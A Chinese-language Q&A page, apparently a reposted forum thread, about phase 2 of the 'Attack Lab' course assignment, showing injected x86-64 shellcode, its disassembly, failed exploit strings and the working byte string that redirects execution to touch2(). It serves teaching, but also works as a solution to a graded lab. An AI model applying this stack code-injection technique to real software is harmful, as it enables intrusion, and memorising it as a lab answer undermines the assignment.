微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

攻击实验室阶段2缓冲区溢出攻击

如何解决攻击实验室阶段2缓冲区溢出攻击

我有一个名为The Attack Lab的项目必须做的缓冲区溢出实验。我现在处于实验的第二阶段,我必须将代码作为漏洞利用字符串的一部分注入,以使程序指向函数touch2()的地址。我已经获得了我需要的正确利用代码(已通过TA确认):

movq $0x4ed659a2,$rdi
pushq $0x4018c3  //address of touch2
ret

我编译并反汇编了这段代码

disassembly of section .text:

   0:   48 c7 c7 a2 59 d6 4e    mov    $0x4ed659a2,%rdi
   7:   68 c3 18 40 00          pushq  $0x4018c3
   c:   c3                      retq

我想找到正确的利用程序字符串以传递到程序中? %rsp的地址为0x5560a188

我的助教说this discussion评论是正确的,所以我尝试了此漏洞利用字符串

48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

但这是不正确的。它甚至没有达到touch2

在此之前,我致力于以下解决方案:

48 c7 c7 a2 59 d6 4e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
c3 18 40 00 00 00 00 00

0:   48 c7 c7 a2 59 d6 4e    mov    $0x4ed659a2,%rdi
7:   c3                      retq

发生段错误

我反汇编了rtarget here。 ctarget和rtarget的行为相同。

谢谢。

解决方法

我已经问过我的教授并得到了解决方案。

最初,我的错误利用字符串是

48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

但是,我的教授告诉我不要在指令之间添加任何额外的字节。所以我尝试了

48 c7 c7 a2 59 d6 4e 
68 c3 18 40 00
c3
00 00 00 00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

它有效!

因此,我们只需要确保指令的所有字节都在一起且中间没有填充,并且不要弄乱指令的字节顺序!

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。